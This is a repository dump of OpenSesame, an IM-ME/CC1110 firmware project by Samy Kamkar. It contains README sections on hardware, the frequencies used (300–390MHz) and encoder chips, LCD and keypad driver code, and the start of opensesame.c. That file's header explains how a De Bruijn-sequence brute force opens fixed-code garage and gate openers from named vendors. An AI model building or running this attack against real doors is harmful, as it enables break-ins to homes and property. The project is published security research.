128 |
129 | # (U) Hardware
130 |
131 | ### IM-ME
132 | The IM-ME from Mattel is a defunct toy no longer produced, but constantly appearing on Amazon and eBay with varying prices from $12 to $100. To my knowledge, much of the reverse engineering of the LCD and keyboard is by [Dave](https://daveshacks.blogspot.com/2010/01/im-me-hacking.html), then tools and more work on it from [Travis Goodspeed](https://travisgoodspeed.blogspot.com/2010/03/im-me-goodfet-wiring-tutorial.html) including support in [GoodFET](https://goodfet.sourceforge.net/clients/goodfetcc/), and more awesome work, including my favorite spectrum analyzer, from [Michael Ossmann](https://ossmann.blogspot.com/2010/03/16-pocket-spectrum-analyzer.html).
133 |
134 | It is originally intended as a toy to communicate with friends. It uses the [CC1110](https://www.ti.com/product/cc1110-cc1111), a sub-GHz RF SoC, and sports an LCD display, backlight, keyboard, and is battery powered, all extremely useful for a hacker on the road texting her (or his) friends. Or hacking her (or his) friends. Hopefully both.
135 |
136 | Now we could have built our own device, but the beauty of this is that it's all already packaged up for you, inexpensive, and is my favorite color.
137 |
138 | ### GoodFET
139 | I use Travis Goodspeed's [GoodFET](https://goodfet.sourceforge.net/) device to program the IM-ME as he's built a tool to program it for us!
140 |
141 | 
142 |
143 | ### GIMME
144 | I ghetto-rigged some wire to the test pads and superglued the ends to always connect properly to the GoodFET, but you can also use the [GIMME](https://ossmann.blogspot.com/2012/10/programming-pink-pagers-in-style.html) from Michael Ossmann for a more convenient connector.
145 |
146 | 
147 |
148 |
149 | -----
150 |
151 | # (U) Software
152 |
153 | ### OpenSesame
154 | OpenSesame source code can be obtained in entirety from my github:
155 |
156 | It is originally based off of Michael Ossmann's [opensesame](https://github.com/mossmann/im-me/tree/master/garage) which is specifically built for a fixed code on his garage, and the perfect example for a working OOK/ASK transmitter, handling most of the hardware work for us already. Also, the name was so great I had to use it, I hope Mike doesn't mind.
157 |
158 | If you haven't, check out his [spectrum analyzer](https://ossmann.blogspot.com/2010/03/16-pocket-spectrum-analyzer.html) for the IM-ME as I have a secondary IM-ME device loaded with that and it's the perfect portable, inexpensive spectrum analyzer.
159 |
160 | ### goodfet.cc
161 | As mentioned in the hardware section, we use GoodFET to load the code, and [goodfet.cc](https://goodfet.sourceforge.net/clients/goodfetcc/) specifically to load onto our Chipcon device (TI CC111x = Texas Instruments Chipcon111x)
162 |
163 | -----
164 |
165 | # (U) Frequencies, Modulations, Encoders
166 |
167 | ### Frequencies
168 | The immediate assumption is that these fixed pin garages and gates span a wide range of frequencies. For example, [Wikipedia](https://en.wikipedia.org/wiki/Garage_door_opener#Remote_control) suggests these wireless devices span 300MHz - 400MHz, requiring us to send the same signal to 100 additional frequencies. However, after pulling the FCC docs of all of the fixed transmitters I could find, we see only a handful of frequencies are ever used, primarily **300MHz, 310MHz, 315MHz, 318MHz and 390MHz**.
169 |
170 | Additionally, most of these receivers lack any [band-pass filter](https://en.wikipedia.org/wiki/Band-pass_filter), allowing a wider range of frequencies to pass through, typically at least covering an additional 2MHz in my testing.
171 |
172 | ### Modulation
173 | You'll find that virtually all of these transmitters use ASK/OOK to transmit. Additionally, many of the receivers support interoperability by using the same OOK signaling. This can be confirmed by testing several garage door openers, going over the FCC documents for several transmitters, and noting the supported models in various garage door openers.
174 |
175 | ### Encoders
176 | Here's a list of encoders being used by most of these systems:
177 |
178 | PT2262, PT2264, SC2260, CS5211, PT2282, PT2240, eV1527, RT1527, FP527, HS527, SCL1527, MC145026, AX5326, VD5026, SMC926, SMC918, PLC168, HCS300, HCS301, HCS201
179 |
180 |
181 | -----
182 |
183 | # (U) Resources
184 | There are a number of resources and tools, many of which I've learned from and that you can learn more on this and similar topic too. Suggested reading / tools in the area:
185 |
186 | * Other projects of mine in the direct area of RF: [KeySweeper](https://samy.pl/keysweeper/) (2.4GHz) and [Digital Ding Dong Ditch](https://samy.pl/dingdong) (sub-GHz)
187 | * Michael Ossmann's [IM-ME spectrum analyzer](https://ossmann.blogspot.com/2010/03/16-pocket-spectrum-analyzer.html)
188 | * Travis Goodspeed's [goodfet.cc / IM-ME wiring](https://travisgoodspeed.blogspot.com/2010/03/im-me-goodfet-wiring-tutorial.html)
189 | * Mike Ryan's [brain](https://lacklustre.net/)
190 | * Michael Ossmann's [HackRF](https://greatscottgadgets.com/hackrf/)
191 | * osmocom's [RTL-SDR](https://sdr.osmocom.org/trac/wiki/rtl-sdr)
192 | * atlas 0f d00m's [rfcat for IM-ME](https://bitbucket.org/atlas0fd00m/rfcat)
193 | * Michael Ossmann's [cc11xx tools](https://github.com/mossmann/cc11xx)
194 | * Dave's [IM-ME LCD hacking](https://daveshacks.blogspot.com/2010/01/im-me-lcd-interface-hacked.html)
195 | * Andrew Nohawk's [Hacking fixed key remotes](https://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/)
196 | * Adam Laurie's [You can ring my bell](https://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html)
197 | * Vegard Haugland's [Hacking garage door remote controllers](https://v3gard.com/2014/12/hacking-garage-door-remote-controllers/)
198 | * TI's [CC111x](https://www.ti.com/product/cc1110-cc1111) [datasheet](https://www.ti.com/lit/gpn/cc1110-cc1111)
199 | * sdcc's [compiler user guide](https://sdcc.sourceforge.net/doc/sdccman.pdf) for the 8051 microcontroller
200 | * the man, the m[ay]themetician, the legend, [De Bruijn](https://en.wikipedia.org/wiki/Nicolaas_Govert_de_Bruijn) and his [sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence)
201 |
202 | -----
203 |
204 | # (U) Contact
205 |
206 | **Point of Contact:** [@SamyKamkar](https://twitter.com/samykamkar)
207 |
208 | You can see more of my projects at or contact me at .
209 |
210 | ##### Follow me on [Twitter](https://twitter.com/samykamkar) or [join my mailing list](https://samy.pl/list/) to hear about future projects and research.
211 |
212 | Thanks!
213 |
--------------------------------------------------------------------------------
/bits.h:
--------------------------------------------------------------------------------
1 | #define BIT0 0x01
2 | #define BIT1 0x02
3 | #define BIT2 0x04
4 | #define BIT3 0x08
5 | #define BIT4 0x10
6 | #define BIT5 0x20
7 | #define BIT6 0x40
8 | #define BIT7 0x80
9 |
--------------------------------------------------------------------------------
/cc1110.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/samyk/opensesame/48b7d25c9d7aa3e2ac5cadfdcb2db1c78e001565/cc1110.h
--------------------------------------------------------------------------------
/display.c:
--------------------------------------------------------------------------------
1 | /*
2 | * IM-Me display functions
3 | *
4 | * Copyright 2010 Dave - http://daveshacks.blogspot.com/2010/01/im-me-lcd-interface-hacked.html
5 | * Copyright 2010 Michael Ossmann
6 | * Copyright 2015-2020 Samy Kamkar
7 | *
8 | * This program is free software; you can redistribute it and/or modify
9 | * it under the terms of the GNU General Public License as published by
10 | * the Free Software Foundation; either version 2, or (at your option)
11 | * any later version.
12 | *
13 | * This program is distributed in the hope that it will be useful,
14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | * GNU General Public License for more details.
17 | *
18 | * You should have received a copy of the GNU General Public License
19 | * along with this program; see the file COPYING. If not, write to
20 | * the Free Software Foundation, Inc., 51 Franklin Street,
21 | * Boston, MA 02110-1301, USA.
22 | */
23 |
24 | #include "types.h"
25 | #include
26 | #include
27 | #include "ioCCxx10_bitdef.h"
28 | #include "display.h"
29 | #include "bits.h"
30 | #include "5x7.h"
31 | #include
32 |
33 | void sleepMillis(int ms) {
34 | int j;
35 | while (--ms > 0) {
36 | for (j=0; j<1200;j++); // about 1 millisecond
37 | };
38 | }
39 |
40 | void xtalClock() { // Set system clock source to 26 Mhz
41 | SLEEP &= ~SLEEP_OSC_PD; // Turn both high speed oscillators on
42 | while( !(SLEEP & SLEEP_XOSC_S) ); // Wait until xtal oscillator is stable
43 | CLKCON = (CLKCON & ~(CLKCON_CLKSPD | CLKCON_OSC)) | CLKSPD_DIV_1; // Select xtal osc, 26 MHz
44 | while (CLKCON & CLKCON_OSC); // Wait for change to take effect
45 | SLEEP |= SLEEP_OSC_PD; // Turn off the other high speed oscillator (the RC osc)
46 | }
47 |
48 | void UART_Init()
49 | {
50 | SCON = 0x50; /* configure serial */
51 | TMOD = 0x20; /* configure timer */
52 | TH1 = 0xE6; /* baud rate 1200 */
53 | TL1 = 0xE6; /* baud rate 1200 */
54 | TR1 = 1; /* enable timer */
55 | TI = 1; /* enable transmitting */
56 | RI = 0; /* waiting to receive */
57 | }
58 |
59 | void setIOPorts() {
60 | // No need to set PERCFG or P2DIR as default values on reset are fine
61 | P0SEL |= (BIT5 | BIT3 ); // set SCK and MOSI as peripheral outputs
62 | P0DIR |= BIT4 | BIT2; // set SSN and A0 as outputs
63 | P1DIR |= BIT1; // set LCDRst as output
64 | P2DIR = BIT3 | BIT4; // set LEDs as outputs
65 | }
66 |
67 | // Set a clock rate of approx. 2.5 Mbps for 26 MHz Xtal clock
68 | #define SPI_BAUD_M 170
69 | #define SPI_BAUD_E 16
70 |
71 | void configureSPI() {
72 | U0CSR = 0; //Set SPI Master operation
73 | U0BAUD = SPI_BAUD_M; // set Mantissa
74 | U0GCR = U0GCR_ORDER | SPI_BAUD_E; // set clock on 1st edge, -ve clock polarity, MSB first, and exponent
75 | }
76 |
77 | void tx(unsigned char ch) {
78 | #ifndef SIMULATOR
79 | U0DBUF = ch;
80 | while(!(U0CSR & U0CSR_TX_BYTE)); // wait for byte to be transmitted
81 | U0CSR &= ~U0CSR_TX_BYTE; // Clear transmit byte status
82 | #endif
83 | }
84 |
85 | void txData(unsigned char ch) {
86 | A0 = HIGH;
87 | tx(ch);
88 | }
89 |
90 | void txCtl(unsigned char ch){
91 | A0 = LOW;
92 | tx(ch);
93 | }
94 |
95 | void LCDReset(void) {
96 | LCDRst = LOW; // hold down the RESET line to reset the display
97 | sleepMillis(1);
98 | LCDRst = HIGH;
99 | SSN = LOW;
100 | /* initialization sequence from sniffing factory firmware */
101 | txCtl(RESET);
102 | txCtl(SET_REG_RESISTOR);
103 | txCtl(VOLUME_MODE_SET);
104 | txCtl(0x60); /* contrast */
105 | txCtl(DC_DC_CLOCK_SET);
106 | txCtl(0x00); /* fOSC (no division) */
107 | txCtl(POWER_SUPPLY_ON);
108 | txCtl(ADC_REVERSE);
109 | txCtl(DISPLAY_ON);
110 | txCtl(ALL_POINTS_NORMAL);
111 | SSN = HIGH;
112 | }
113 |
114 | /* initiate sleep mode */
115 | void LCDPowerSave() {
116 | txCtl(STATIC_INDIC_OFF);
117 | txCtl(DISPLAY_OFF);
118 | txCtl(ALL_POINTS_ON); // Display all Points on cmd = Power Save when following LCD off
119 | }
120 |
121 | void setCursor(unsigned char row, unsigned char col) {
122 | txCtl(SET_ROW | (row & 0x0f));
123 | txCtl(SET_COL_LO | (col & 0x0f));
124 | txCtl(SET_COL_HI | ( (col>>4) & 0x0f));
125 | }
126 |
127 | void setDisplayStart(unsigned char start) {
128 | txCtl(0x40 | (start & 0x3f)); // set Display start address
129 | }
130 |
131 | void setNormalReverse(unsigned char normal) { // 0 = Normal, 1 = Reverse
132 | txCtl(DISPLAY_NORMAL | (normal & 0x01) );
133 | }
134 |
135 | /* print inverted string on screen (dark background) */
136 | void printrl(u8 line, char *str)
137 | {
138 | reverseTxt = 1;
139 | printlc(line, 0, str);
140 | reverseTxt = 0;
141 | }
142 |
143 | /* print inverted string on screen (dark background)*/
144 | void printrlc(u8 line, u8 col, char *str)
145 | {
146 | reverseTxt = 1;
147 | printlc(line, col, str);
148 | reverseTxt = 0;
149 | }
150 |
151 | /* print string on screen */
152 | void printl(u8 line, char *str)
153 | {
154 | printlc(line, 0, str);
155 | }
156 |
157 | /* print string on screen */
158 | void printlc(u8 line, u8 col, char *str)
159 | {
160 | #ifdef SIMULATOR
161 | pp(str);
162 | #else
163 | SSN = LOW;
164 | setCursor(line, col * 6);
165 | printf(str);
166 | SSN = HIGH;
167 | #endif
168 | }
169 |
170 | /* print string on screen */
171 | /*
172 | void print(u8 line, char *str, ...)
173 | {
174 | va_list argptr;
175 | va_start(argptr, str);
176 | SSN = LOW;
177 | setCursor(line, 0);
178 | vprintf(str, argptr);
179 | SSN = HIGH;
180 | va_end(argptr);
181 | }
182 | */
183 |
184 | /* clear all LCD pixels */
185 | void clear() {
186 | u8 row;
187 | u8 col;
188 |
189 | SSN = LOW;
190 | setDisplayStart(0);
191 |
192 | /* normal display mode (not inverted) */
193 | setNormalReverse(0);
194 |
195 | for (row = 0; row <= 9; row++)
196 | {
197 | setCursor(row, 0);
198 | for (col = 0; col < WIDTH; col++)
199 | txData(0x00);
200 | }
201 |
202 | SSN = HIGH;
203 | }
204 |
205 | /* sdcc provides printf if we provide this */
206 | PUTCHAR_TYPE putchar(char c)
207 | {
208 | #ifdef SIMULATOR
209 | while (!TI); /* wait end of last transmission */
210 | TI = 0;
211 | SBUF = c; /* transmit to serial */
212 | #else
213 | u8 i;
214 |
215 | c &= 0x7f;
216 |
217 | if (c >= FONT_OFFSET)
218 | {
219 | for (i = 0; i < FONT_WIDTH; i++)
220 | txData(font[c - FONT_OFFSET][i] ^ (reverseTxt ? 0xff : 0));
221 | txData(reverseTxt ? 0xff : 0x00);
222 | }
223 | #endif
224 | #ifdef PUTCHAR_INT
225 | return c;
226 | #endif
227 | }
228 |
--------------------------------------------------------------------------------
/display.h:
--------------------------------------------------------------------------------
1 | /*
2 | * IM-Me display functions
3 | *
4 | * Copyright 2010 Dave - http://daveshacks.blogspot.com/2010/01/im-me-lcd-interface-hacked.html
5 | * Copyright 2010 Michael Ossmann
6 | * Copyright 2015-2020 Samy Kamkar
7 | *
8 | * This program is free software; you can redistribute it and/or modify
9 | * it under the terms of the GNU General Public License as published by
10 | * the Free Software Foundation; either version 2, or (at your option)
11 | * any later version.
12 | *
13 | * This program is distributed in the hope that it will be useful,
14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 | * GNU General Public License for more details.
17 | *
18 | * You should have received a copy of the GNU General Public License
19 | * along with this program; see the file COPYING. If not, write to
20 | * the Free Software Foundation, Inc., 51 Franklin Street,
21 | * Boston, MA 02110-1301, USA.
22 | */
23 |
24 | #include "types.h"
25 |
26 | // sdcc 3.7.0+ uses int putchar
27 | #if (SDCC_VERSION_HI == 3 && SDCC_VERSION_LO >= 7) || (SDCC_VERSION_HI >= 4)
28 | #define PUTCHAR_INT
29 | #define PUTCHAR_TYPE int
30 | #else
31 | #define PUTCHAR_TYPE void
32 | #endif
33 |
34 | static volatile __bit reverseTxt = 0;
35 |
36 | #define LOW 0
37 | #define HIGH 1
38 |
39 | #define WIDTH 132
40 | #define HEIGHT 65
41 |
42 | #define DISPLAY_ON 0xaf
43 | #define DISPLAY_OFF 0xae
44 |
45 | #define SET_ROW 0xb0
46 | #define SET_COL_LO 0x00
47 | #define SET_COL_HI 0x10
48 | #define SET_START_LINE 0x40
49 |
50 | #define ADC_NORMAL 0xa0
51 | #define ADC_REVERSE 0xa1
52 | #define DISPLAY_NORMAL 0xa6
53 | #define DISPLAY_REVERSE 0xa7
54 | #define ALL_POINTS_NORMAL 0xa4
55 | #define ALL_POINTS_ON 0xa5
56 | #define BIAS_RATIO_9 0xa2
57 | #define BIAS_RATIO_7 0xa3
58 | #define READ_MODIFY_WRITE 0xe0
59 | #define END_RMW 0xee
60 | #define RESET 0xe2
61 | //missing common output mode select
62 | #define POWER_SUPPLY_OFF 0x28
63 | #define POWER_SUPPLY_ON 0x2f
64 | #define SET_REG_RESISTOR 0x24
65 | #define VOLUME_MODE_SET 0x81
66 | #define STATIC_INDIC_OFF 0xac
67 | #define STATIC_INDIC_ON 0xad
68 | //missing booster ratio select
69 | #define NOP 0xe3
70 | #define OUTPUT_STATUS_SEL 0xc0
71 | #define TEST_RESET 0xf0
72 | #define OSC_FREQ_314 0xe4
73 | #define OSC_FREQ_263 0xe5
74 | #define NORMAL_DISPLAY 0x82
75 | #define PARTIAL_DISPLAY 0x83
76 | #define DC_DC_CLOCK_SET 0xe6
77 |
78 | void sleepMillis(int ms);
79 |
80 | void xtalClock();
81 |
82 | // IO Port Definitions:
83 | #define A0 P0_2
84 | #define SSN P0_4
85 | #define LCDRst P1_1
86 | #define LED_RED P2_3
87 | #define LED_GREEN P2_4
88 | // plus SPI ports driven from USART0 are:
89 | // MOSI P0_3
90 | // SCK P0_5
91 |
92 | void setIOPorts();
93 |
94 | void configureSPI();
95 |
96 | void tx(unsigned char ch);
97 |
98 | void txData(unsigned char ch);
99 |
100 | void txCtl(unsigned char ch);
101 |
102 | void LCDReset(void);
103 |
104 | void LCDPowerSave();
105 |
106 | void setCursor(unsigned char row, unsigned char col);
107 |
108 | void setDisplayStart(unsigned char start);
109 |
110 | void setNormalReverse(unsigned char normal);
111 |
112 | void printrlc(u8 line, u8 col, char *str);
113 | void printrl(u8 line, char *str);
114 | void printlc(u8 line, u8 col, char *str);
115 | void printl(u8 line, char *str);
116 | void print(u8 line, char *str, ...);
117 |
118 | void clear();
119 | void UART_Init();
120 |
121 | #ifndef LOCAL
122 | PUTCHAR_TYPE putchar(char c);
123 | #endif
124 |
--------------------------------------------------------------------------------
/fbuffer.c:
--------------------------------------------------------------------------------
1 | /*! \file fbuffer.c
2 | \author Travis Goodspeed
3 | \brief IMME FrameBuffer
4 | */
5 |
6 | #include "types.h"
7 | #include "fbuffer.h"
8 | #include
9 | #include "display.h"
10 |
11 | #define FBWIDTH 132
12 | #define FBHEIGHT 64
13 |
14 | //It's ugly to grab data like this, consumed 1kB of RAM.
15 | __xdata u8 fbuffer[FBHEIGHT //eight stripes
16 | *FBWIDTH //132 pixels wide
17 | /8 //8 pixels/bit
18 | ];
19 |
20 | //! Clear the FB.
21 | void fb_blank(){
22 | u16 i;
23 | for(i=0;i>1)
49 | |(fb_getpixel(x,y+r)?0x80:0);
50 | }
51 | txData(col);
52 | }
53 | }
54 |
55 | SSN=HIGH;
56 | }
57 |
58 | //! Draw a horizontal line.
59 | void fb_horizline(u16 x, u16 y, u16 xp){
60 | while(x
21 | #include "keys.h"
22 | #include "types.h"
23 | #include "bits.h"
24 |
25 | static u8 active_key;
26 |
27 | //8 rows, 10 columns
28 | __code const u8 keychars[] = {
29 | //gnd 0_1 1_2 1_3 1_4 1_5 1_6 1_7 0_6 0_7
30 |
31 | //row 0, gnd
32 | 0x00, 0x00, 'O', 'K', 'N', 'M', KPWR, 'P', 0x00, 0x00,
33 | //row 1
34 | 0x00, 0x00, 'Y', 'G', 'C', ' ', '<', ',', KMNU, '>',
35 | //row 2
36 | 0x00, 0x00, 0x00, 'Q', 'W', 'E', 'R', 'T', 'U', 'I',
37 | //row 3
38 | 0x00, 0x00, 0x00, 0x00, 'A', 'S', 'D', 'F', 'H', 'J',
39 | //row 4
40 | 0x00, 0x00, 0x00, 0x00, 0x00, KCAP, 'Z', 'X', 'V', 'B',
41 | //row 5
42 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, KSPK, KALT, KONL, KBACK,
43 | //row 6
44 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, KBYE, KDWN, '^',
45 | //row 7
46 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, '\n', 'L'
47 | };
48 |
49 | #define KEY(row,col) keychars[row*10+col]
50 |
51 | u8 realkeyscan(){
52 | u8 row, col;
53 |
54 | //All input
55 | P0DIR &= ~(BIT1+BIT6+BIT7);
56 | P1DIR &= ~(BIT2+BIT3+BIT4+BIT5+BIT6+BIT7);
57 | P0 |= BIT1+BIT6+BIT7;
58 | P1 |= BIT2+BIT3+BIT4+BIT5+BIT6+BIT7;
59 |
60 | for(row=0;row<8;row++){
61 | col=row;//nothing
62 | switch(row){
63 | case 0://ground
64 | default:
65 | break;
66 | case 1: //P0_1
67 | P0DIR|=BIT1;
68 | P0&=~BIT1;
69 | break;
70 | case 2: //P1_2
71 | P1DIR|=BIT2;
72 | P1&=~BIT2;
73 | break;
74 | case 3: //P1_3
75 | P1DIR|=BIT3;
76 | P1&=~BIT3;
77 | break;
78 | case 4: //p1_4
79 | P1DIR|=BIT4;
80 | P1&=~BIT4;
81 | break;
82 | case 5: //p1_5
83 | P1DIR|=BIT5;
84 | P1&=~BIT5;
85 | break;
86 | case 6: //P1_6
87 | P1DIR|=BIT6;
88 | P1&=~BIT6;
89 | break;
90 | case 7: //P1_7
91 | P1DIR|=BIT7;
92 | P1&=~BIT7;
93 | break;
94 | }
95 |
96 | if(~P0&BIT1) col=1;
97 | if(~P1&BIT2) col=2;
98 | if(~P1&BIT3) col=3;
99 | if(~P1&BIT4) col=4;
100 | if(~P1&BIT5) col=5;
101 | if(~P1&BIT6) col=6;
102 | if(~P1&BIT7) col=7;
103 | if(~P0&BIT6) col=8;
104 | if(~P0&BIT7) col=9;
105 |
106 | if(col!=row) return KEY(row,col);
107 | }
108 |
109 | return '\0';
110 | }
111 |
112 | //! Returns the debounced character press.
113 | u8 keyscan(){
114 | u8 key=realkeyscan();
115 | //debounce
116 | while(key!=realkeyscan())
117 | key=realkeyscan();
118 |
119 | //All input
120 | P0DIR &= ~(BIT1+BIT6+BIT7);
121 | P1DIR &= ~(BIT2+BIT3+BIT4+BIT5+BIT6+BIT7);
122 | P0 |= BIT1+BIT6+BIT7;
123 | P1 |= BIT2+BIT3+BIT4+BIT5+BIT6+BIT7;
124 |
125 | return key;
126 | }
127 |
128 | /* non-blocking check for a keypress */
129 | u8 getkey() {
130 | u8 key = keyscan();
131 |
132 | /* keep track of key currently pressed to avoid rapid repeating */
133 | if (key != active_key)
134 | active_key = key;
135 | else
136 | key = 0x00;
137 |
138 | return key;
139 | }
140 |
--------------------------------------------------------------------------------
/keys.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2010 Travis Goodspeed, Michael Ossmann
3 | *
4 | * This program is free software; you can redistribute it and/or modify
5 | * it under the terms of the GNU General Public License as published by
6 | * the Free Software Foundation; either version 2, or (at your option)
7 | * any later version.
8 | *
9 | * This program is distributed in the hope that it will be useful,
10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | * GNU General Public License for more details.
13 | *
14 | * You should have received a copy of the GNU General Public License
15 | * along with this program; see the file COPYING. If not, write to
16 | * the Free Software Foundation, Inc., 51 Franklin Street,
17 | * Boston, MA 02110-1301, USA.
18 | */
19 |
20 | #include "types.h"
21 |
22 | u8 keyscan();
23 | u8 getkey();
24 |
25 | // for sleeping
26 | #define DEBOUNCE_COUNT 4
27 | #define DEBOUNCE_PERIOD 50
28 |
29 | //Special keys.
30 | #define KPWR 0x01
31 | #define KMNU 0x03
32 | #define KCAP 0x82
33 | #define KSPK 0x83
34 | #define KALT 0x84
35 | #define KONL 0x85
36 | #define KBACK 0x86
37 | #define KDWN 0x87
38 | #define KBYE 0x02
39 |
--------------------------------------------------------------------------------
/opensesame.c:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenSesame - Fixed-Code Garage/Gate Hacking Toolkit
3 | * by Samy Kamkar
4 | * http://samy.pl/opensesame
5 | *
6 | * Exploits small keyspace and a new vulnerability in garages/gates systems from:
7 | * Chamberlain, Linear, Multi-code, Stanley, Moore-o-Matic, NSCD/North Shore Commercial Door
8 | *
9 | * built on the shoulders of giants:
10 | * based off of opensesame/specan by Michael Ossmann,
11 | * sprite/key code by Travis Goodspeed,
12 | * LCD code by Dave
13 | *
14 | * This tool exploits an inherent weakness in most fixed code
15 | * garages doors to open them in seconds using a child's toy.
16 | *
17 | * Besides having common frequencies, baudrates, and modulation
18 | * schemes built in or quickly definable (garages.h), this tool
19 | * reduces a garage's code/pin keyspace by over 95%!
20 | *
21 | * For example, to brute force a 12-bit binary dipswitch remote,
22 | * (4096 12-bit combos + 4096 12-bit wait times) requires 98304 bits,
23 | * while my method only requires 4105 bits, 4.2% of the total time.
24 | *
25 | *
26 | * This is accomplished by:
27 | * a) producing a De Bruijn sequence of all possible *overlapping*
28 | * combos (reducing >90%), exploiting pin testing shift registers
29 | * b) removing wait periods between transmitted codes (reduces 50%)
30 | *
31 | * The De Bruijn sequence is the magic. As an example, if a garage
32 | * only accepted a 3-bit code, it would require 24 bits to brute force
33 | * the entire keyspace. However, the 10 bit de bruijn sequence
34 | * "0001011100" actually contains all possible 3-bit codes, but
35 | * overlapping. Most garage/entrygate systems use a shift register,
36 | * only popping a single bit off rather than the entire code out,
37 | * before pulling in a new bit, at which point the newly constructed
38 | * code is retested. As the bit sequence becomes longer, the percent
39 | * reduction actually increases.
40 | *
41 | * To brute force 12 bits (4096 12-bit combos + 4096 12-bit wait times)
42 | * requires 98304 bits, while the De Bruijn sequence requires 4105 bits
43 | * (4.2% of the required time to brute force the entire 12 bit keyspace).
44 | *
45 | * See `garages.h` for list of garages, or to add your own.
46 | *
47 | * Built for the Mattel IM-ME / CC1110.
48 | *
49 | * Copyright 2014-2015 Samy Kamkar
50 | * Copyright 2010 Michael Ossmann, Travis Goodspeed, Dave
51 | * See LICENSE/COPYING file
52 | *
53 | * DEVELOPERS:
54 | * you can add more methods in garages.h
55 | *
56 | *
57 | */
58 |
59 | /*
60 | * todo:
61 | * anything that says /TODO/
62 | * support setting txFast to 1 in realuserland
63 | * selectable garage array
64 | * customizable db sequence/params?
65 | * build in mossmann's specan?
66 | * don't send so much on last packet (change pkt len)
67 | */
68 |
69 | /* Notes:
70 | * LOCAL is defined when compiling via gcc for local testing
71 | * SIMULATOR is defined when using s51 (ucsim), an 8051 simulator
72 | */
73 |
74 | #include "types.h"
75 | #ifndef LOCAL
76 | #include
77 | #endif
78 | #include
79 | #include "ioCCxx10_bitdef.h"
80 | #include "display.h"
81 | #include "keys.h"
82 | #include "garages.h"
83 | #include "rf.h"
84 | #include "fbuffer.h"
85 | #include "zsprites.h"
86 | #include "pm.h"
87 |
88 | #define title printl(0, " OpenSesame 1.0")
89 | #define HIBYTE(a) (u8) ((u16)(a) >> 8 )
90 | #define LOBYTE(a) (u8) (u16)(a)
91 |
92 | #define SET_WORD(regH, regL, word) \
93 | do { \
94 | (regH) = HIBYTE( word ); \
95 | (regL) = LOBYTE( word ); \
96 | } while (0)
97 |
98 | /* note sdcc wants reverse bit order from datasheet */
99 | typedef struct {
100 | u8 SRCADDRH;
101 | u8 SRCADDRL;
102 | u8 DESTADDRH;
103 | u8 DESTADDRL;
104 | u8 LENH : 5;
105 | u8 VLEN : 3;
106 |
107 | u8 LENL : 8;
108 |
109 | u8 TRIG : 5;
110 | u8 TMODE : 2;
111 | u8 WORDSIZE : 1;
112 |
113 | u8 PRIORITY : 2;
114 | u8 M8 : 1;
115 | u8 IRQMASK : 1;
116 | u8 DESTINC : 2;
117 | u8 SRCINC : 2;
118 | } DMA_DESC;
119 |
120 | __xdata static volatile u8 txdone = 1;
121 | __xdata static volatile u8 ni = 0;
122 |
123 | __xdata DMA_DESC dmaConfig;
124 | __xdata u8 realbuf[MAXLEN+1];
125 | __bit sleepy = 0;
126 | __bit txFast = 0;
127 |
128 | extern u8 _garage_id = 0;
129 |
130 | void setup_dma_tx()
131 | {
132 | // forum guy used high priority and repeated single mode (TMODE = 2)
133 | dmaConfig.PRIORITY = 2; // high priority
134 | dmaConfig.M8 = 0; // not applicable
135 | dmaConfig.IRQMASK = 0; // disable interrupts
136 | dmaConfig.TRIG = 19; // radio
137 | dmaConfig.TMODE = 2; // repeated single mode
138 | dmaConfig.WORDSIZE = 0; // one byte words;
139 | dmaConfig.VLEN = 0; // use LEN
140 | SET_WORD(dmaConfig.LENH, dmaConfig.LENL, MAXLEN);
141 |
142 | SET_WORD(dmaConfig.SRCADDRH, dmaConfig.SRCADDRL, realbuf);
143 | SET_WORD(dmaConfig.DESTADDRH, dmaConfig.DESTADDRL, &X_RFD);
144 | dmaConfig.SRCINC = 1; // increment by one
145 | dmaConfig.DESTINC = 0; // do not increment
146 |
147 | SET_WORD(DMA0CFGH, DMA0CFGL, &dmaConfig);
148 |
149 | return;
150 | }
151 |
152 | void setup()
153 | {
154 | #ifdef SIMULATOR
155 | UART_Init();
156 | #else
157 | xtalClock();
158 | setIOPorts();
159 | configureSPI();
160 | LCDReset();
161 |
162 | /* IF setting */
163 | FSCTRL1 = 0x06;
164 | FSCTRL0 = 0x00;
165 |
166 | /* DC blocking enabled, OOK/ASK */
167 | MDMCFG2 = 0x30; // no preamble/sync
168 |
169 | /* no FEC, 4 byte preamble, default channel spacing */
170 | MDMCFG1 = 0x22;
171 | MDMCFG0 = 0xF8;
172 |
173 | FREND1 = 0x56; // Front end RX configuration.
174 | FREND0 = 0x11; // Front end RX configuration.
175 |
176 | /* automatic frequency calibration */
177 | MCSM0 = 0x14;
178 | //MCSM2 ?
179 | MCSM1 = 0x30; // TXOFF_MODE = IDLE
180 |
181 | FSCAL3 = 0xE9; // Frequency synthesizer calibration.
182 | FSCAL2 = 0x2A; // Frequency synthesizer calibration.
183 | FSCAL1 = 0x00; // Frequency synthesizer calibration.
184 | FSCAL0 = 0x1F; // Frequency synthesizer calibration.
185 | TEST2 = 0x88; // Various test settings.
186 | TEST1 = 0x31; // Various test settings.
187 | TEST0 = 0x0B; // low VCO (we're in the lower 400 band)
188 |
189 | /* no preamble quality check, no address check */
190 | PKTCTRL1 = 0x04;
191 |
192 | /* no whitening, no CRC, fixed packet length */
193 | PKTCTRL0 = 0x00;
194 |
195 | /* device address */
196 | ADDR = 0x11;
197 |
198 | /* packet length in bytes */
199 | PKTLEN = MAXLEN;
200 |
201 | setup_dma_tx();
202 | clear();
203 | #endif
204 | }
205 |
206 | int main(void)
207 | {
208 | u8 key;
209 |
210 | setup();
211 |
212 | while (1)
213 | {
214 | title;
